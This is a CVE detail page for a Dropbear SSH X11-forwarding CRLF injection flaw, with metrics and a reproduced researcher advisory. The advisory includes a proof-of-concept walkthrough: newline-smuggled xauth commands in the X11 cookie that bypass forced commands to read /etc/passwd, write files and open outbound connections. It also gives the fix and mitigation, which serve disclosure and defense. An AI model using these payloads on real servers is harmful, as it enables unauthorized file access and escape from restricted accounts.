CVE-2016-3116 Detail

CVE-2016-3116

Score / Severity

6.4

Medium

EPSS

2.84%V3

Vector

Network

Published

2016-03-22
09h00 +00:00

Modified

2016-12-01
15h57 +00:00

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CVE Descriptions

CRLF injection vulnerability in Dropbear SSH before 2016.72 allows remote authenticated users to bypass intended shell-command restrictions via crafted X11 forwarding data.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	6.4	MEDIUM	CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Changed An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	5.5		AV:N/AC:L/Au:S/C:P/I:P/A:N	[email protected]

EPSS

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EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 40119

Publication date : 2016-03-02 23h00 +00:00
Author : tintinweb
EDB Verified : No

VuNote ============ Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116 Version: 0.2 Date: Mar 3rd, 2016 Tag: dropbearsshd xauth command injection may lead to forced-command bypass Overview -------- Name: dropbear Vendor: Matt Johnston References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1] Version: 2015.71 Latest Version: 2015.71 Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3116 Description --------- quote website [1] >Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers. Summary ------- An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector. By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass account restriction. This is generally not expected. The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges. Quick-Info: * requires: X11Forwarding yes * does *NOT* bypass /bin/false due to special treatment (like nologin) * bypasses forced-commands (allows arbitr. read/write) Capabilities (xauth): * Xauth * write file: limited chars, xauthdb format * read file: limit lines cut at first \s * infoleak: environment * connect to other devices (may allow port probing) see attached PoC Details ------- // see annotated code below * x11req (svr-x11fwd.c:46) * execchild (svr-chansession.c:893) *- x11setauth (svr-x11fwd.c:129) Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request parameters `x11authprot` and `x11authcookie` from the client ssh packet where `x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`) and `x11authcookie` contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling `execute` on that session, dropbear will call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding by executing `xauth` with the effective permissions of the user and pass commands via `stdin`. Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a command-separator to the `xauth` binary, this allows a client to inject arbitrary `xauth` commands. This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth command injection: SYNOPSIS xauth [ -f authfile ] [ -vqibn ] [ command arg ... ] add displayname protocolname hexkey generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata] [n]extract filename displayname... [n]list [displayname...] [n]merge [filename...] remove displayname... source filename info exit quit version help ? Interesting commands are: info - leaks environment information / path ~# xauth info xauth: file /root/.Xauthority does not exist Authority file: /root/.Xauthority File new: yes File locked: no Number of entries: 0 Changes honored: yes Changes made: no Current input: (argv):1 source - arbitrary file read (cut on first `\s`) # xauth source /etc/shadow xauth: file /root/.Xauthority does not exist xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::" extract - arbitrary file write * limited characters * in xauth.db format * since it is not compressed it can be combined with `xauth add` to first store data in the database and then export it to an arbitrary location e.g. to plant a shell or do other things. generate - connect to <ip>:<port> (port probing, connect back and pot. exploit vulnerabilities in X.org Source ------ Inline annotations are prefixed with `//#!` * handle x11 request, stores cookie in `chansess` ```c /* called as a request for a session channel, sets up listening X11 */ /* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */ int x11req(struct ChanSess * chansess) { int fd; /* we already have an x11 connection */ if (chansess->x11listener != NULL) { return DROPBEAR_FAILURE; } chansess->x11singleconn = buf_getbyte(ses.payload); chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11screennum = buf_getint(ses.payload); ``` * set auth cookie/authprot ```c /* This is called after switching to the user, and sets up the xauth * and environment variables. */ void x11setauth(struct ChanSess *chansess) { char display[20]; /* space for "localhost:12345.123" */ FILE * authprog = NULL; int val; if (chansess->x11listener == NULL) { return; } ... /* popen is a nice function - code is strongly based on OpenSSH's */ authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary if (authprog) { fprintf(authprog, "add %s %s %s\n", display, chansess->x11authprot, chansess->x11authcookie); //#! \n injection in cookie, authprot pclose(authprog); } else { fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND); } } ``` Proof of Concept ---------------- Prerequisites: * install python 2.7.x * issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x * run `poc.py` Note: see cve-2016-3115 [3] for `poc.py` Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key poc: 1. configure one user (user1) for `force-commands`: ```c #PUBKEY line - force commands: only allow "whoami" #cat /home/user1/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box #cat /etc/passwd user1:x:1001:1001:,,,:/home/user1:/bin/bash ``` 2. run dropbearsshd (x11fwd is on by default) ```c #> ~/dropbear-2015.71/dropbear -R -F -E -p 2222 [22861] Not backgrounding [22862] Child connection from 192.168.139.1:49597 [22862] Forced command 'whoami' [22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597 ``` 3. `forced-commands` - connect with user1 and display env information ```c #> python <host> 2222 user1 .demoprivkey INFO:__main__:add this line to your authorized_keys file: #PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .info DEBUG:__main__:auth_cookie: '\ninfo' DEBUG:__main__:dummy exec returned: None INFO:__main__:Authority file: /home/user1/.Xauthority File new: no File locked: no Number of entries: 2 Changes honored: yes Changes made: no Current input: (stdin):2 user1 /usr/bin/xauth: (stdin):1: bad "add" command line ... ``` 4. `forced-commands` - read `/etc/passwd` ```c ... #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... ``` 5. `forced-commands` - write `/tmp/testfile` ```c #> .writefile /tmp/testfile1 `thisisatestfile` DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line #> INFO:__main__:/tmp/testfile1 #> ls -lsat /tmp/testfile1 4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1 #> cat /tmp/testfile1 ú65500hiú65500`thisisatestfile`ªr ``` 6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100 ```c #> generate 8.8.8.8:100 DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100' DEBUG:__main__:dummy exec returned: None INFO:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line /usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100". #> tcpdump IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0 ``` Fix --- * Sanitize user-tainted input `chansess->x11authcookie` Mitigation / Workaround ------------------------ * disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD` Notes ----- Thanks to the OpenSSH team for coordinating the fix! Vendor response see: changelog [4] References ---------- [1] https://matt.ucc.asn.au/dropbear/dropbear.html [2] http://linux.die.net/man/1/xauth [3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/ [4] https://matt.ucc.asn.au/dropbear/CHANGES Contact ------- https://github.com/tintinweb